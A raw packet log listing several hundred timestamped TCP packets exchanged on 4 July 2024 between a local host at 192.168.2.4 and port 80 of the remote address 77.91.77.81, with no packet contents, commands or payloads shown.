Jul 4, 2024 20:34:12.382428885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382433891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382438898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382448912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382456064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382457972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382493019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382508039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382514000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382517099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382525921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382544041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382558107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382618904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382628918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382637978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382647991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.382671118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.382679939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401107073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401179075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401181936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401191950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401201010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401209116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401218891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401225090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401227951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401263952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401308060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401314974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401345968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401391029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401400089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401408911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401417017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401427984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401436090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.401437044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401462078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.401480913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.454982042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455044985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455070972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455081940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455116034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455130100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455193043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455204010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455209017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455214024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455219984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455305099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455339909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455406904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455416918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455426931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455436945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455450058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455471039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455481052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455487013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455492020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455502033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455517054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455544949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455570936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455580950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455591917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455600023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455601931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455641031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.455667973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455677032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.455708981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.475512981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475583076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.475613117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475624084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475769997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.475780964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475791931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475801945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475811958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.475835085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.475847006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476104975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476162910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476241112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476437092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476449966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476485968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476517916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476528883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476538897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476567030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476592064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476614952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476625919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476636887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476650000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476660967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476670980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476671934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476682901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476694107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476723909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476752996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476763964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476774931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.476797104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.476825953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.477511883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477559090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477565050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.477569103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477607965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.477778912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477788925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477804899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477814913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477826118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.477832079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.477861881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478236914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478246927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478256941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478266954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478276968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478286028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478286982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478296995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478307009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478307962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478322983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478333950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478344917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478346109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478355885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478389978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478502035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478512049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478523016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478533030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478543043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478548050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478553057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478564024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478564024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478574038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478585005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478585958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478595018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478610992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478641987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478903055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478913069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478924036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478934050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478943110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.478951931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478965998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.478986025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479168892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479180098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479191065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479198933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479209900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479216099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479221106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479231119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479240894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479249954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479258060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479268074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479270935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479278088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479288101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479291916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479298115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479309082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479312897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479319096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479327917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479331017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479337931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479347944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479347944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479376078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479403019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479850054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479861021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479871035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479881048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479891062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479898930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479901075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479912996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479917049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479922056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479932070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479948044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479952097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479959011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479969025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479969025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479979992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.479986906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.479990959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.480003119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.480010986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.480019093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.480048895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.497195005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497205973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497221947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497231960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497241974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497251987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497253895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.497262001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.497273922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.497303963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.550785065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550795078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550807953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550837040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.550849915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.550868988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550879002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550888062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550898075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550906897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.550920010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.550930977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.550951004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551006079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551016092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551024914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551052094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551054955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551071882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551099062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551100016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551110029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551145077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551181078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551189899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551198006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551212072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551223993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551223993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551232100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551233053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551261902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551284075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.551565886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.551925898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.572819948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572834969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572844028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572868109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572877884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572885990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572889090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.572896004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572906017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.572911978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.572938919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.572948933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574358940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574404001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574407101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574414015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574438095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574462891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574529886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574538946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574548006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574558020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574573040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574575901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574601889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574613094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574857950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574867964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574877977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574897051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574911118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574915886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574925900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574934959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574944019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.574954987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.574975967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575076103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575086117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575094938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575103998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575112104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575122118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575124025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575131893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575139999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575140953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575150967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575153112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575172901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575182915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575196981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575210094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575220108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575231075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575248003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575274944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575459957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575469017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575478077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575486898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575493097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575495958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575505018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575514078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575519085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575522900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575532913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575541973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575546026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575553894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575558901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575566053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575567007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575576067 CEST	80	49731	77.91.77.81	192.168.2.4
